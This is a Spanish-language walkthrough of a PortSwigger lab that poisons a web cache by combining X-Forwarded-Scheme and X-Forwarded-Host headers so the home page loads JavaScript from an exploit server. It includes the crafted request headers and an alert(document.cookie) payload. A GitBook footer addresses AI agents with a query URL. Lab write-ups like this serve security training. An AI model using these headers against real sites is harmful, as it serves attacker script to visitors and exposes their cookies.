> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/cache-poisoning/cache-poisoning-with-multiple-headers.md).

# Envenenamiento de caché con múltiples encabezados

Notas sobre Envenenamiento de caché con múltiples encabezados para los laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payload, validación en Burp Suite y contexto de mitigación.

### Envenenamiento de caché web con múltiples encabezados

Este laboratorio presenta una vulnerabilidad de envenenamiento de la caché web explotable solo combinando varios encabezados HTTP. / Un usuario visita la página principal aproximadamente una vez por minuto. / El objetivo es envenenar la caché para que la respuesta en el navegador de la víctima desencadene `alert(document.cookie)`.

**Análisis inicial**

* Intercepción de la solicitud a la raíz del sitio (`/`).
* La respuesta parece estar almacenada en caché y reutilizada para los siguientes visitantes.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c972b2a8f6da41b936b2e33c2ef4cf47e3634a4%2F%7B0F64DF9A-07F8-4601-BC70-7AFE443A1B12%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Encabezados explotables descubiertos**

* Uso de la extensión **Param Miner** para adivinar encabezados no indexados.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cabda6a4f79b33aff799a9f6d8f1f86faf8de6ca%2F%7BA8EF8A34-8BF4-4542-AC47-69A01DF4B1DD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* La herramienta detecta el encabezado **`X-Forwarded-Scheme`**.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11a76426386aa1e61d08a81634e4376e17fc958a%2F%7B7C3850DE-C0EE-4358-BB2E-E2E6E02221D7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**`X-Forwarded-Scheme` Probar**

* Este encabezado indica si la solicitud se trata como si proviniera de HTTP o HTTPS.
* Enviando:

```http
X-Forwarded-Scheme: http
```

* El sitio intenta comportarse como si se sirviera mediante HTTP.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ea9c314f4ce92c893ea6d659d10d1486f0f2b6b%2F%7BF21A17E2-5562-4620-A0DB-2B037F9BFB91%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Esto provoca un mal funcionamiento y los recursos dejan de cargarse correctamente debido a redirecciones incorrectas.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f089378d4953b4d4ccfa6a92705c7c05afe478e%2F%7BFE596C33-DFDA-4177-A682-6F25A527807D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Añade un segundo encabezado: `X-Forwarded-Host`**

```http
X-Forwarded-Host: test.com
```

* Entonces el sitio intenta cargar sus recursos desde esta ubicación.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6f8132a2ac3a8927bec7f367dc1fc01dc28e08fb%2F%7BC10DBE35-F253-4C64-BD92-F618F8A55176%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

La carga del archivo JavaScript incluye:

Este script se ejecuta automáticamente al cargar la página.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c78a9e4d468f72cd437497ccc0b6a1c2d00cda1f%2F%7BDBD08CC4-ACD7-484C-8FFD-4C16D9108FD6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Operación con el servidor de exploits**

* El objetivo es forzar la carga del archivo JavaScript desde el servidor de exploits.

```http
X-Forwarded-Scheme: http
X-Forwarded-Host: exploit-0a3a002204e750ae80a9206c011700a8.exploit-server.net/exploit
```

En el servidor de exploits:

* Crea un archivo accesible en la URL:

Contenido del archivo:

```javascript
alert(document.cookie)
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-85373791f3a795d8fe11ee1bb5b743102e9973db%2F%7BAE1EF4E2-4894-4B50-ACB5-A5478E992741%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Resultado**

* La página principal ahora carga el script JavaScript desde el servidor de exploits.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c4e150a7ba76baca1ccc268d82c69e50f1ffc42f%2F%7B859D4763-5D46-4276-AC29-CCCAA35BC9A9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* La respuesta envenenada está oculta.
* Cuando un usuario visita la página, el script se ejecuta automáticamente.
* Aparece una alerta que muestra `document.cookie` en el navegador de la víctima.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c1f50ff4ab0bbc570ad3e835881e93f97c34d8db%2F%7B24DB66DC-4961-4D76-B44E-5B70F3D33113%7D.png?alt=media" alt="" width="427"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/cache-poisoning/cache-poisoning-with-multiple-headers.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
